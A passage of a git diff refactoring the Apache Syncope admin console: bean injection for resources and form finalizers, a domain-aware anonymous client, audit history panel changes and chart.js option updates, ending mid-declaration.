+import org.apache.syncope.client.console.commons.AccessPolicyConfProvider; import org.apache.syncope.client.console.commons.AnyDirectoryPanelAdditionalActionLinksProvider; import org.apache.syncope.client.console.commons.AnyDirectoryPanelAdditionalActionsProvider; import org.apache.syncope.client.console.commons.AnyWizardBuilderAdditionalSteps; import org.apache.syncope.client.console.commons.ExternalResourceProvider; import org.apache.syncope.client.console.commons.ImplementationInfoProvider; +import org.apache.syncope.client.console.commons.PolicyTabProvider; import org.apache.syncope.client.console.commons.StatusProvider; import org.apache.syncope.client.console.commons.VirSchemaDetailsPanelProvider; import org.apache.syncope.client.console.init.ClassPathScanImplementationLookup; +import org.apache.syncope.client.console.wizards.any.UserFormFinalizer; import org.apache.syncope.client.ui.commons.actuate.SyncopeCoreHealthIndicator; import org.apache.syncope.common.keymaster.client.api.ServiceOps; import org.apache.syncope.common.keymaster.client.api.model.NetworkService; import org.apache.syncope.common.keymaster.client.api.startstop.KeymasterStart; import org.apache.syncope.common.keymaster.client.api.startstop.KeymasterStop; +import org.apache.wicket.request.resource.IResource; import org.springframework.boot.autoconfigure.SpringBootApplication; import org.springframework.boot.autoconfigure.condition.ConditionalOnMissingBean; -import org.springframework.boot.autoconfigure.http.HttpMessageConvertersAutoConfiguration; -import org.springframework.boot.autoconfigure.web.servlet.error.ErrorMvcAutoConfiguration; +import org.springframework.boot.autoconfigure.condition.ConditionalOnProperty; import org.springframework.boot.builder.SpringApplicationBuilder; import org.springframework.boot.context.properties.EnableConfigurationProperties; import org.springframework.boot.web.servlet.support.SpringBootServletInitializer; -import org.springframework.context.ApplicationContext; import org.springframework.context.annotation.Bean; -@SpringBootApplication(exclude = { - ErrorMvcAutoConfiguration.class, - HttpMessageConvertersAutoConfiguration.class }, proxyBeanMethods = false) +@SpringBootApplication(proxyBeanMethods = false) @EnableConfigurationProperties(ConsoleProperties.class) public class SyncopeConsoleApplication extends SpringBootServletInitializer { @@ -77,7 +77,10 @@ public SyncopeWebApplication syncopeWebApplication( final StatusProvider statusProvider, final VirSchemaDetailsPanelProvider virSchemaDetailsPanelProvider, final ImplementationInfoProvider implementationInfoProvider, - final ApplicationContext ctx) { + final AccessPolicyConfProvider accessPolicyConfProvider, + final List policyTabProviders, + final List userFormFinalizers, + final List resources) { return new SyncopeWebApplication( props, @@ -88,7 +91,11 @@ public SyncopeWebApplication syncopeWebApplication( anyDirectoryPanelAdditionalActionLinksProvider, anyWizardBuilderAdditionalSteps, statusProvider, virSchemaDetailsPanelProvider, - implementationInfoProvider, ctx); + implementationInfoProvider, + accessPolicyConfProvider, + policyTabProviders, + userFormFinalizers, + resources); } @ConditionalOnMissingBean @@ -103,17 +110,15 @@ public SyncopeCoreHealthIndicator syncopeCoreHealthIndicator( props.isUseGZIPCompression()); } - @ConditionalOnMissingBean - @Bean - public SyncopeConsoleInfoContributor syncopeConsoleInfoContributor() { - return new SyncopeConsoleInfoContributor(); - } - + @ConditionalOnProperty( + prefix = "keymaster", name = "enableAutoRegistration", havingValue = "true", matchIfMissing = true) @Bean public KeymasterStart keymasterStart() { return new KeymasterStart(NetworkService.Type.CONSOLE); } + @ConditionalOnProperty( + prefix = "keymaster", name = "enableAutoRegistration", havingValue = "true", matchIfMissing = true) @Bean public KeymasterStop keymasterStop() { return new KeymasterStop(NetworkService.Type.CONSOLE); diff --git a/client/idrepo/console/src/main/java/org/apache/syncope/client/console/SyncopeConsoleSession.java b/client/idrepo/console/src/main/java/org/apache/syncope/client/console/SyncopeConsoleSession.java index e0f1c3ecc3a..4e39ad4f1f8 100644 --- a/client/idrepo/console/src/main/java/org/apache/syncope/client/console/SyncopeConsoleSession.java +++ b/client/idrepo/console/src/main/java/org/apache/syncope/client/console/SyncopeConsoleSession.java @@ -43,6 +43,7 @@ import org.apache.commons.lang3.tuple.Triple; import org.apache.cxf.jaxrs.client.WebClient; import org.apache.syncope.client.console.commons.RealmsUtils; +import org.apache.syncope.client.lib.SyncopeAnonymousClient; import org.apache.syncope.client.lib.SyncopeClient; import org.apache.syncope.client.lib.SyncopeClientFactoryBean; import org.apache.syncope.client.lib.batch.BatchRequest; @@ -63,6 +64,7 @@ import org.slf4j.LoggerFactory; import org.springframework.core.task.TaskRejectedException; import org.springframework.scheduling.concurrent.ThreadPoolTaskExecutor; +import org.springframework.util.CollectionUtils; public class SyncopeConsoleSession extends AuthenticatedWebSession implements BaseSession { @@ -93,15 +95,11 @@ public String fallback() { protected static final Logger LOG = LoggerFactory.getLogger(SyncopeConsoleSession.class); - protected final SyncopeClientFactoryBean clientFactory; - - protected final SyncopeClient anonymousClient; - - protected final Pair gitAndBuildInfo; - - protected final PlatformInfo platformInfo; + public static SyncopeConsoleSession get() { + return (SyncopeConsoleSession) Session.get(); + } - protected final SystemInfo systemInfo; + protected final SyncopeClientFactoryBean clientFactory; protected final Map, Object> services = Collections.synchronizedMap(new HashMap<>()); @@ -111,6 +109,14 @@ public String fallback() { protected SyncopeClient client; + protected SyncopeAnonymousClient anonymousClient; + + protected Pair gitAndBuildInfo; + + protected PlatformInfo platformInfo; + + protected SystemInfo systemInfo; + protected UserTO selfTO; protected Map> auth; @@ -121,19 +127,10 @@ public String fallback() { protected Roles roles; - public static SyncopeConsoleSession get() { - return (SyncopeConsoleSession) Session.get(); - } - public SyncopeConsoleSession(final Request request) { super(request); clientFactory = SyncopeWebApplication.get().newClientFactory(); - anonymousClient = SyncopeWebApplication.get().newAnonymousClient(); - - gitAndBuildInfo = anonymousClient.gitAndBuildInfo(); - platformInfo = anonymousClient.platform(); - systemInfo = anonymousClient.system(); executor = SyncopeWebApplication.get().newThreadPoolTaskExecutor(); } @@ -165,7 +162,7 @@ public void onException(final Exception e) { message = getApplication().getResourceSettings().getLocalizer(). getString(message, null, null, null, null, message); - error(message); + error(message.replace("\n", "
")); } public MediaType getMediaType() { @@ -257,6 +254,11 @@ public boolean authenticate(final String jwt) { } public void cleanup() { + anonymousClient = null; + gitAndBuildInfo = null; + platformInfo = null; + systemInfo = null; + client = null; auth = null; delegations = null; @@ -286,8 +288,8 @@ public List getAuthRealms() { } public List getSearchableRealms() { - Set roots = auth.get(IdRepoEntitlement.REALM_LIST); - return roots.isEmpty() + Set roots = auth.get(IdRepoEntitlement.REALM_SEARCH); + return CollectionUtils.isEmpty(roots) ? List.of() : roots.stream().sorted().collect(Collectors.toList()); } @@ -367,6 +369,11 @@ public void setDelegatedBy(final String delegatedBy) { public void refreshAuth(final String username) { try { + anonymousClient = SyncopeWebApplication.get().newAnonymousClient(getDomain()); + gitAndBuildInfo = anonymousClient.gitAndBuildInfo(); + platformInfo = anonymousClient.platform(); + systemInfo = anonymousClient.system(); + Triple>, List, UserTO> self = client.self(); auth = self.getLeft(); delegations = self.getMiddle(); @@ -382,8 +389,9 @@ public void refreshAuth(final String username) { } @Override - public SyncopeClient getAnonymousClient() { - return anonymousClient; + public SyncopeAnonymousClient getAnonymousClient() { + return Optional.ofNullable(anonymousClient). + orElseGet(() -> SyncopeWebApplication.get().newAnonymousClient(getDomain())); } @Override diff --git a/client/idrepo/console/src/main/java/org/apache/syncope/client/console/SyncopeWebApplication.java b/client/idrepo/console/src/main/java/org/apache/syncope/client/console/SyncopeWebApplication.java index 23dfe3178af..2a9f8011faf 100644 --- a/client/idrepo/console/src/main/java/org/apache/syncope/client/console/SyncopeWebApplication.java +++ b/client/idrepo/console/src/main/java/org/apache/syncope/client/console/SyncopeWebApplication.java @@ -23,15 +23,18 @@ import de.agilecoders.wicket.core.settings.BootstrapSettings; import de.agilecoders.wicket.core.settings.IBootstrapSettings; import de.agilecoders.wicket.core.settings.SingleThemeProvider; -import java.util.ArrayList; import java.util.Collection; import java.util.List; +import java.util.stream.Collectors; +import org.apache.syncope.client.console.annotations.UserFormFinalize; +import org.apache.syncope.client.console.commons.AccessPolicyConfProvider; import org.apache.syncope.client.console.commons.AnyDirectoryPanelAdditionalActionLinksProvider; import org.apache.syncope.client.console.commons.AnyDirectoryPanelAdditionalActionsProvider; import org.apache.syncope.client.console.commons.AnyWizardBuilderAdditionalSteps; import org.apache.syncope.client.console.commons.ExternalResourceProvider; import org.apache.syncope.client.console.commons.ImplementationInfoProvider; import org.apache.syncope.client.console.commons.PolicyTabProvider; +import org.apache.syncope.client.console.commons.RealmsUtils; import org.apache.syncope.client.console.commons.StatusProvider; import org.apache.syncope.client.console.commons.VirSchemaDetailsPanelProvider; import org.apache.syncope.client.console.init.ClassPathScanImplementationLookup; @@ -39,9 +42,9 @@ import org.apache.syncope.client.console.pages.Dashboard; import org.apache.syncope.client.console.pages.Login; import org.apache.syncope.client.console.pages.MustChangePassword; +import org.apache.syncope.client.console.rest.RealmRestClient; import org.apache.syncope.client.console.wizards.any.UserFormFinalizer; -import org.apache.syncope.client.lib.AnonymousAuthenticationHandler; -import org.apache.syncope.client.lib.SyncopeClient; +import org.apache.syncope.client.lib.SyncopeAnonymousClient; import org.apache.syncope.client.lib.SyncopeClientFactoryBean; import org.apache.syncope.client.ui.commons.Constants; import org.apache.syncope.client.ui.commons.SyncopeUIRequestCycleListener; @@ -50,6 +53,7 @@ import org.apache.syncope.client.ui.commons.wizards.AjaxWizard; import org.apache.syncope.common.keymaster.client.api.ServiceOps; import org.apache.syncope.common.keymaster.client.api.model.NetworkService; +import org.apache.syncope.common.rest.api.beans.RealmQuery; import org.apache.wicket.Page; import org.apache.wicket.authroles.authentication.AbstractAuthenticatedWebSession; import org.apache.wicket.authroles.authentication.AuthenticatedWebSession; @@ -64,14 +68,12 @@ import org.apache.wicket.request.cycle.RequestCycle; import org.apache.wicket.request.http.WebResponse; import org.apache.wicket.request.mapper.parameter.PageParameters; -import org.apache.wicket.request.resource.AbstractResource; import org.apache.wicket.request.resource.IResource; import org.apache.wicket.request.resource.ResourceReference; import org.slf4j.Logger; import org.slf4j.LoggerFactory; -import org.springframework.context.ApplicationContext; +import org.springframework.aop.support.AopUtils; import org.springframework.scheduling.concurrent.ThreadPoolTaskExecutor; -import org.springframework.util.ClassUtils; public class SyncopeWebApplication extends WicketBootSecuredWebApplication { @@ -101,7 +103,13 @@ public static SyncopeWebApplication get() { protected final ImplementationInfoProvider implementationInfoProvider; - protected final ApplicationContext ctx; + protected final AccessPolicyConfProvider accessPolicyConfProvider; + + protected final List policyTabProviders; + + protected final List userFormFinalizers; + + protected final List resources; public SyncopeWebApplication( final ConsoleProperties props, @@ -114,7 +122,10 @@ public SyncopeWebApplication( final StatusProvider statusProvider, final VirSchemaDetailsPanelProvider virSchemaDetailsPanelProvider, final ImplementationInfoProvider implementationInfoProvider, - final ApplicationContext ctx) { + final AccessPolicyConfProvider accessPolicyConfProvider, + final List policyTabProviders, + final List userFormFinalizers, + final List resources) { this.props = props; this.lookup = lookup; @@ -126,35 +137,14 @@ public SyncopeWebApplication( this.statusProvider = statusProvider; this.virSchemaDetailsPanelProvider = virSchemaDetailsPanelProvider; this.implementationInfoProvider = implementationInfoProvider; - this.ctx = ctx; + this.accessPolicyConfProvider = accessPolicyConfProvider; + this.policyTabProviders = policyTabProviders; + this.userFormFinalizers = userFormFinalizers; + this.resources = resources; } - @Override - protected void init() { - super.init(); - - // Application settings - IBootstrapSettings settings = new BootstrapSettings(); - - // set theme provider - settings.setThemeProvider(new SingleThemeProvider(new AdminLTE())); - - // install application settings - Bootstrap.install(this, settings); - - getResourceSettings().setUseMinifiedResources(true); - getResourceSettings().setUseDefaultOnMissingResource(true); - getResourceSettings().setThrowExceptionOnMissingResource(false); - - getSecuritySettings().setAuthorizationStrategy(new MetaDataRoleAuthorizationStrategy(this)); - - lookup.getIdRepoPageClasses(). - forEach(cls -> MetaDataRoleAuthorizationStrategy.authorize(cls, Constants.ROLE_AUTHENTICATED)); - - getMarkupSettings().setStripWicketTags(true); - getMarkupSettings().setCompressWhitespace(true); - - getRequestCycleListeners().add(new SyncopeUIRequestCycleListener() { + protected SyncopeUIRequestCycleListener buildSyncopeUIRequestCycleListener() { + return new SyncopeUIRequestCycleListener() { @Override protected boolean isSignedIn() { @@ -170,8 +160,10 @@ protected void invalidateSession() { protected IRequestablePage getErrorPage(final PageParameters errorParameters) { return new Login(errorParameters); } - }); + }; + } + protected void initSecurity() { if (props.isxForward()) { XForwardedRequestWrapperFactory.Config config = new XForwardedRequestWrapperFactory.Config(); config.setProtocolHeader(props.getxForwardProtocolHeader()); @@ -187,6 +179,8 @@ protected IRequestablePage getErrorPage(final PageParameters errorParameters) { getRequestCycleListeners().add(new WebSocketAwareResourceIsolationRequestCycleListener()); } + getCspSettings().blocking().unsafeInline(); + getRequestCycleListeners().add(new IRequestCycleListener() { @Override @@ -197,27 +191,56 @@ public void onEndRequest(final RequestCycle cycle) { } } }); - getCspSettings().blocking().unsafeInline(); + } + + @Override + protected void init() { + super.init(); + + // Application settings + IBootstrapSettings settings = new BootstrapSettings(); + + // set theme provider + settings.setThemeProvider(new SingleThemeProvider(new AdminLTE())); + + // install application settings + Bootstrap.install(this, settings); + + getResourceSettings().setUseMinifiedResources(true); + getResourceSettings().setUseDefaultOnMissingResource(true); + getResourceSettings().setThrowExceptionOnMissingResource(false); + + getSecuritySettings().setAuthorizationStrategy(new MetaDataRoleAuthorizationStrategy(this)); + + lookup.getIdRepoPageClasses(). + forEach(cls -> MetaDataRoleAuthorizationStrategy.authorize(cls, Constants.ROLE_AUTHENTICATED)); + + getMarkupSettings().setStripWicketTags(true); + getMarkupSettings().setCompressWhitespace(true); + + getRequestCycleListeners().add(buildSyncopeUIRequestCycleListener()); + + initSecurity(); mountPage("/login", getSignInPageClass()); - for (Class resource : lookup.getClasses(AbstractResource.class)) { - Resource annotation = resource.getAnnotation(Resource.class); - try { - AbstractResource instance = resource.getDeclaredConstructor().newInstance(); + for (IResource resource : resources) { + Class resourceClass = AopUtils.getTargetClass(resource); + Resource annotation = resourceClass.getAnnotation(Resource.class); + if (annotation == null) { + LOG.error("No @Resource annotation found, ignoring {}", resourceClass.getName()); + } else { + LOG.debug("Mounting {} under {}", resourceClass.getName(), annotation.path()); - LOG.debug("Mounting {} under {}", resource.getName(), annotation.path()); mountResource(annotation.path(), new ResourceReference(annotation.key()) { - protected static final long serialVersionUID = -128426276529456602L; + private static final long serialVersionUID = -128426276529456602L; @Override public IResource getResource() { - return instance; + return resource; } }); - } catch (Exception e) { - LOG.error("Could not instantiate {}", resource.getName(), e); } } @@ -263,9 +286,10 @@ public ThreadPoolTaskExecutor newThreadPoolTaskExecutor() { return executor; } - public SyncopeClient newAnonymousClient() { - return newClientFactory().create( - new AnonymousAuthenticationHandler(props.getAnonymousUser(), props.getAnonymousKey())); + public SyncopeAnonymousClient newAnonymousClient(final String domain) { + return newClientFactory(). + setDomain(domain). + createAnonymous(props.getAnonymousUser(), props.getAnonymousKey()); } public SyncopeClientFactoryBean newClientFactory() { @@ -290,10 +314,6 @@ public String getAnonymousKey() { return props.getAnonymousKey(); } - public String getReconciliationReportKey() { - return props.getReconciliationReportKey(); - } - public long getMaxWaitTimeInSeconds() { return props.getMaxWaitTimeOnApplyChanges(); } @@ -302,6 +322,17 @@ public int getMaxUploadFileSizeMB() { return props.getMaxUploadFileSizeMB(); } + public boolean fullRealmsTree(final RealmRestClient restClient) { + if (props.getRealmsFullTreeThreshold() <= 0) { + return false; + } + + RealmQuery query = RealmsUtils.buildBaseQuery(); + query.setPage(1); + query.setSize(0); + return restClient.search(query).getTotalCount() < props.getRealmsFullTreeThreshold(); + } + public ExternalResourceProvider getResourceProvider() { return resourceProvider; } @@ -331,22 +362,23 @@ public ImplementationInfoProvider getImplementationInfoProvider() { } public Collection getPolicyTabProviders() { - return ctx.getBeansOfType(PolicyTabProvider.class).values(); + return policyTabProviders; } public List getFormFinalizers(final AjaxWizard.Mode mode) { - List finalizers = new ArrayList<>(); - - lookup.getUserFormFinalizerClasses(mode).forEach(finalizer -> { - if (finalizer != null) { - try { - finalizers.add(ClassUtils.getConstructorIfAvailable(finalizer).newInstance()); - } catch (Exception e) { - LOG.error("Could not instantiate {}", finalizer, e); - } + return userFormFinalizers.stream().filter(uff -> { + Class clazz = AopUtils.getTargetClass(uff); + UserFormFinalize annotation = clazz.getAnnotation(UserFormFinalize.class); + if (annotation == null) { + LOG.error("No @UserFormFinalize annotation found, ignoring {}", clazz.getName()); + return false; } - }); - return finalizers; + return annotation.mode() == mode; + }).collect(Collectors.toList()); + } + + public AccessPolicyConfProvider getAccessPolicyConfProvider() { + return accessPolicyConfProvider; } } diff --git a/client/idrepo/console/src/main/java/org/apache/syncope/client/console/audit/AuditHistoryDetails.java b/client/idrepo/console/src/main/java/org/apache/syncope/client/console/audit/AuditHistoryDetails.java index cf538151ace..e9c05898cf8 100644 --- a/client/idrepo/console/src/main/java/org/apache/syncope/client/console/audit/AuditHistoryDetails.java +++ b/client/idrepo/console/src/main/java/org/apache/syncope/client/console/audit/AuditHistoryDetails.java @@ -21,6 +21,7 @@ import com.fasterxml.jackson.core.JsonGenerator; import com.fasterxml.jackson.core.JsonProcessingException; import com.fasterxml.jackson.core.StreamReadFeature; +import com.fasterxml.jackson.databind.JsonNode; import com.fasterxml.jackson.databind.ObjectMapper; import com.fasterxml.jackson.databind.SerializerProvider; import com.fasterxml.jackson.databind.json.JsonMapper; @@ -66,34 +67,14 @@ public abstract class AuditHistoryDetails extends Panel private static final long serialVersionUID = -7400543686272100483L; - private static final Logger LOG = LoggerFactory.getLogger(AuditHistoryDetails.class); + protected static final Logger LOG = LoggerFactory.getLogger(AuditHistoryDetails.class); - private static final List EVENTS = List.of("create", "update", "matchingrule_update", - "unmatchingrule_assign", "unmatchingrule_provision"); + public static final List DEFAULT_EVENTS = List.of( + "create", "update", "matchingrule_update", "unmatchingrule_assign", "unmatchingrule_provision"); - private static final SortParam REST_SORT = new SortParam<>("event_date", false); + protected static final SortParam REST_SORT = new SortParam<>("event_date", false); - private EntityTO currentEntity; - - private AuditElements.EventCategoryType type; - - private String category; - - private Class reference; - - private List auditEntries = new ArrayList<>(); - - private AuditEntry latestAuditEntry; - - private AuditEntry after; - - private AjaxDropDownChoicePanel beforeVersionsPanel; - - private AjaxDropDownChoicePanel afterVersionsPanel; - - private final AjaxLink restore; - - private static class SortingNodeFactory extends JsonNodeFactory { + protected static class SortingNodeFactory extends JsonNodeFactory { private static final long serialVersionUID = 1870252010670L; @@ -103,7 +84,7 @@ public ObjectNode objectNode() { } } - private static class SortedSetJsonSerializer extends StdSerializer> { + protected static class SortedSetJsonSerializer extends StdSerializer> { private static final long serialVersionUID = 3849059774309L; @@ -148,30 +129,59 @@ public void serialize( } @SuppressWarnings("unchecked") - private static Class cast(final Class aClass) { + protected static Class cast(final Class aClass) { return (Class) aClass; } - private static final ObjectMapper MAPPER = JsonMapper.builder(). + protected static final ObjectMapper MAPPER = JsonMapper.builder(). nodeFactory(new SortingNodeFactory()).build(). registerModule(new SimpleModule().addSerializer(new SortedSetJsonSerializer(cast(Set.class)))). registerModule(new JavaTimeModule()); + protected EntityTO currentEntity; + + protected AuditElements.EventCategoryType type; + + protected String category; + + protected final List events; + + protected Class reference; + + protected final List auditEntries = new ArrayList<>(); + + protected AuditEntry latestAuditEntry; + + protected AuditEntry after; + + protected AjaxDropDownChoicePanel beforeVersionsPanel; + + protected AjaxDropDownChoicePanel afterVersionsPanel; + + protected final AjaxLink restore; + + protected final AuditRestClient restClient; + @SuppressWarnings("unchecked") public AuditHistoryDetails( final String id, final EntityTO currentEntity, final AuditElements.EventCategoryType type, final String category, - final String auditRestoreEntitlement) { + final List events, + final String auditRestoreEntitlement, + final AuditRestClient restClient) { super(id); - this.setOutputMarkupId(true); - this.reference = (Class) currentEntity.getClass(); this.currentEntity = currentEntity; this.type = type; this.category = category; + this.events = events; + this.reference = (Class) currentEntity.getClass(); + this.restClient = restClient; + + setOutputMarkupId(true); IChoiceRenderer choiceRenderer = new IChoiceRenderer<>() { @@ -212,8 +222,8 @@ protected void onEvent(final AjaxRequestTarget target) { AuditEntry afterEntry = afterVersionsPanel.getModelObject() == null ? after : buildAfterAuditEntry(beforeEntry); - AuditHistoryDetails.this.addOrReplace(new JsonDiffPanel(toJSON(beforeEntry, reference), - toJSON(afterEntry, reference))); + AuditHistoryDetails.this.addOrReplace( + new JsonDiffPanel(toJSON(beforeEntry, reference), toJSON(afterEntry, reference))); // change after audit entries in order to match only the ones newer than the current after one afterVersionsPanel.setChoices(auditEntries.stream(). filter(ae -> ae.getDate().isAfter(beforeEntry.getDate()) @@ -225,8 +235,7 @@ protected void onEvent(final AjaxRequestTarget target) { } }); afterVersionsPanel = - new AjaxDropDownChoicePanel<>("afterVersions", getString("afterVersions"), new Model<>(), - true); + new AjaxDropDownChoicePanel<>("afterVersions", getString("afterVersions"), new Model<>(), true); afterVersionsPanel.setChoiceRenderer(choiceRenderer); afterVersionsPanel.add(new IndicatorAjaxEventBehavior(Constants.ON_CHANGE) { @@ -278,20 +287,20 @@ public void onClick(final AjaxRequestTarget target) { protected void initDiff() { // audit fetch size is fixed, for the moment... - this.auditEntries.clear(); - this.auditEntries.addAll(new AuditRestClient().search( + auditEntries.clear(); + auditEntries.addAll(restClient.search( currentEntity.getKey(), 1, 50, type, category, - EVENTS, + events, AuditElements.Result.SUCCESS, REST_SORT)); // the default selected is the newest one, if any - this.latestAuditEntry = auditEntries.isEmpty() ? null : auditEntries.get(0); - this.after = latestAuditEntry == null ? null : buildAfterAuditEntry(latestAuditEntry); + latestAuditEntry = auditEntries.isEmpty() ? null : auditEntries.get(0); + after = latestAuditEntry == null ? null : buildAfterAuditEntry(latestAuditEntry); // add default diff panel addOrReplace(new JsonDiffPanel(toJSON(latestAuditEntry, reference), toJSON(after, reference))); @@ -306,7 +315,7 @@ protected void initDiff() { restore.setEnabled(!auditEntries.isEmpty()); } - private AuditEntry buildAfterAuditEntry(final AuditEntry input) { + protected AuditEntry buildAfterAuditEntry(final AuditEntry input) { AuditEntry output = new AuditEntry(); output.setWho(input.getWho()); output.setDate(input.getDate()); @@ -316,16 +325,23 @@ private AuditEntry buildAfterAuditEntry(final AuditEntry input) { return output; } - private Model toJSON(final AuditEntry auditEntry, final Class reference) { + protected Model toJSON(final AuditEntry auditEntry, final Class reference) { + if (auditEntry == null) { + return Model.of(); + } + try { - if (auditEntry == null) { - return Model.of(); + String content; + if (auditEntry.getBefore() == null) { + JsonNode output = MAPPER.readTree(auditEntry.getOutput()); + if (output.has("entity")) { + content = output.get("entity").toPrettyString(); + } else { + content = output.toPrettyString(); + } + } else { + content = auditEntry.getBefore(); } - String content = auditEntry.getBefore() == null - ? MAPPER.readTree(auditEntry.getOutput()).get("entity") == null - ? MAPPER.readTree(auditEntry.getOutput()).toPrettyString() - : MAPPER.readTree(auditEntry.getOutput()).get("entity").toPrettyString() - : auditEntry.getBefore(); T entity = MAPPER.reader(). with(StreamReadFeature.STRICT_DUPLICATE_DETECTION). @@ -339,7 +355,7 @@ private Model toJSON(final AuditEntry auditEntry, final Class referen return Model.of(MAPPER.writerWithDefaultPrettyPrinter().writeValueAsString(entity)); } catch (Exception e) { LOG.error("While (de)serializing entity {}", auditEntry, e); - throw new WicketRuntimeException(e); + return Model.of(); } } } diff --git a/client/idrepo/console/src/main/java/org/apache/syncope/client/console/audit/AuditHistoryModal.java b/client/idrepo/console/src/main/java/org/apache/syncope/client/console/audit/AuditHistoryModal.java index 5f6c1813154..724df480138 100644 --- a/client/idrepo/console/src/main/java/org/apache/syncope/client/console/audit/AuditHistoryModal.java +++ b/client/idrepo/console/src/main/java/org/apache/syncope/client/console/audit/AuditHistoryModal.java @@ -18,6 +18,7 @@ */ package org.apache.syncope.client.console.audit; +import org.apache.syncope.client.console.rest.AuditRestClient; import org.apache.syncope.client.console.wicket.markup.html.bootstrap.dialog.BaseModal; import org.apache.syncope.client.ui.commons.panels.ModalPanel; import org.apache.syncope.common.lib.to.EntityTO; @@ -33,7 +34,8 @@ public AuditHistoryModal( final AuditElements.EventCategoryType type, final String category, final T entity, - final String auditRestoreEntitlement) { + final String auditRestoreEntitlement, + final AuditRestClient restClient) { super(BaseModal.CONTENT_ID); @@ -42,7 +44,9 @@ public AuditHistoryModal( entity, type, category, - auditRestoreEntitlement) { + AuditHistoryDetails.DEFAULT_EVENTS, + auditRestoreEntitlement, + restClient) { private static final long serialVersionUID = -5311898419151367494L; diff --git a/client/idrepo/console/src/main/java/org/apache/syncope/client/console/batch/BatchContent.java b/client/idrepo/console/src/main/java/org/apache/syncope/client/console/batch/BatchContent.java index 4ed8488a237..21c8a0bd803 100644 --- a/client/idrepo/console/src/main/java/org/apache/syncope/client/console/batch/BatchContent.java +++ b/client/idrepo/console/src/main/java/org/apache/syncope/client/console/batch/BatchContent.java @@ -241,9 +241,7 @@ public void onClick(final AjaxRequestTarget target, final Serializable ignore) { items.forEach(item -> { UserTO user = (UserTO) item; - StatusR req = new StatusR.Builder(). - key(user.getKey()). - type(StatusRType.SUSPEND). + StatusR req = new StatusR.Builder(user.getKey(), StatusRType.SUSPEND). onSyncope(true). resources(user.getResources()). build(); @@ -256,9 +254,7 @@ public void onClick(final AjaxRequestTarget target, final Serializable ignore) { items.forEach(item -> { UserTO user = (UserTO) item; - StatusR req = new StatusR.Builder(). - key(user.getKey()). - type(StatusRType.REACTIVATE). + StatusR req = new StatusR.Builder(user.getKey(), StatusRType.REACTIVATE). onSyncope(true). resources(user.getResources()). build(); diff --git a/client/idrepo/console/src/main/java/org/apache/syncope/client/console/chartjs/BaseDataSet.java b/client/idrepo/console/src/main/java/org/apache/syncope/client/console/chartjs/BaseDataSet.java index f4cbba866db..842fe1d1747 100644 --- a/client/idrepo/console/src/main/java/org/apache/syncope/client/console/chartjs/BaseDataSet.java +++ b/client/idrepo/console/src/main/java/org/apache/syncope/client/console/chartjs/BaseDataSet.java @@ -29,11 +29,9 @@ public abstract class BaseDataSet implements Serializable { private static final long serialVersionUID = 1581171902504828797L; - /** The fill color. */ - private String fillColor = "rgba(220,220,220,0.5)"; + private String backgroundColor = "rgba(220,220,220,0.5)"; - /** The stroke color. */ - private String strokeColor = "rgba(220,220,220,1)"; + private String borderColor = "rgba(220,220,220,1)"; /** The data. */ private final List data; @@ -47,43 +45,21 @@ public BaseDataSet(final List data) { this.data = data; } - /** - * Gets the fill color. - * - * @return the fill color - */ - public String getFillColor() { - return fillColor; + public String getBackgroundColor() { + return backgroundColor; } - /** - * Sets the fill color. - * - * @param fillColor the fill color - * @return the abstract base data set - */ - public BaseDataSet setFillColor(final String fillColor) { - this.fillColor = fillColor; + public BaseDataSet setBackgroundColor(final String backgroundColor) { + this.backgroundColor = backgroundColor; return this; } - /** - * Gets the stroke color. - * - * @return the stroke color - */ - public String getStrokeColor() { - return strokeColor; + public String getBorderColor() { + return borderColor; } - /** - * Sets the stroke color. - * - * @param strokeColor the stroke color - * @return the abstract base data set - */ - public BaseDataSet setStrokeColor(final String strokeColor) { - this.strokeColor = strokeColor; + public BaseDataSet setBorderColor(final String borderColor) { + this.borderColor = borderColor; return this; } diff --git a/client/idrepo/console/src/main/java/org/apache/syncope/client/console/chartjs/ChartJSBehavior.java b/client/idrepo/console/src/main/java/org/apache/syncope/client/console/chartjs/ChartJSBehavior.java index 5ca88cbaae8..f2674bf9eef 100644 --- a/client/idrepo/console/src/main/java/org/apache/syncope/client/console/chartjs/ChartJSBehavior.java +++ b/client/idrepo/console/src/main/java/org/apache/syncope/client/console/chartjs/ChartJSBehavior.java @@ -39,11 +39,9 @@ protected void respond(final AjaxRequestTarget target) { public void renderHead(final Component component, final IHeaderResponse response) { super.renderHead(component, response); - response.render(OnDomReadyHeaderItem.forScript( - "WicketCharts['" + component.getMarkupId() + "']=buildChart('" + component.getMarkupId() + "');")); - if (component.getParent() instanceof ChartJSPanel) { - response.render(OnDomReadyHeaderItem.forScript(((ChartJSPanel) component.getParent()).generateChart())); + response.render(OnDomReadyHeaderItem.forScript( + ((ChartJSPanel) component.getParent()).generateChart(component.getMarkupId()))); } } } diff --git a/client/idrepo/console/src/main/java/org/apache/syncope/client/console/chartjs/ChartJSPanel.java b/client/idrepo/console/src/main/java/org/apache/syncope/client/console/chartjs/ChartJSPanel.java index eba2768c08e..d7be3a41375 100644 --- a/client/idrepo/console/src/main/java/org/apache/syncope/client/console/chartjs/ChartJSPanel.java +++ b/client/idrepo/console/src/main/java/org/apache/syncope/client/console/chartjs/ChartJSPanel.java @@ -62,7 +62,7 @@ public Chart getChart() { return model.getObject(); } - public String generateChart() { + public String generateChart(final String markupId) { String dataString = null; String optionString = null; try { @@ -75,7 +75,12 @@ public String generateChart() { LOG.error("Unexpected error during JSON serialization", e); } - return "var " + container.getMarkupId() + " = WicketCharts['" + container.getMarkupId() + "']." - + model.getObject().getClass().getSimpleName() + '(' + dataString + ", " + optionString + ");"; + return "WicketCharts['" + markupId + "'] = new Chart(" + + "getChartCtx('" + markupId + "')," + + "{" + + "type: '" + model.getObject().getClass().getSimpleName().toLowerCase() + "'," + + "data: " + dataString + "," + + "options:" + optionString + + "})"; } } diff --git a/client/idrepo/console/src/main/java/org/apache/syncope/client/console/chartjs/ChartOptions.java b/client/idrepo/console/src/main/java/org/apache/syncope/client/console/chartjs/ChartOptions.java index e463209916c..19e702c542f 100644 --- a/client/idrepo/console/src/main/java/org/apache/syncope/client/console/chartjs/ChartOptions.java +++ b/client/idrepo/console/src/main/java/org/apache/syncope/client/console/chartjs/ChartOptions.java @@ -28,63 +28,60 @@ public abstract class ChartOptions implements Serializable { private static final long serialVersionUID = 2401861279216541412L; - /** The animation. */ - private Boolean animation; + public static class Axis implements Serializable { - /** The animation steps. */ - private Integer animationSteps; + private static final long serialVersionUID = 1L; - /** The animation easing. */ - private String animationEasing; + private Boolean display; - /** The on animation complete. */ - private String onAnimationComplete; - - @JsonRawValue - private String 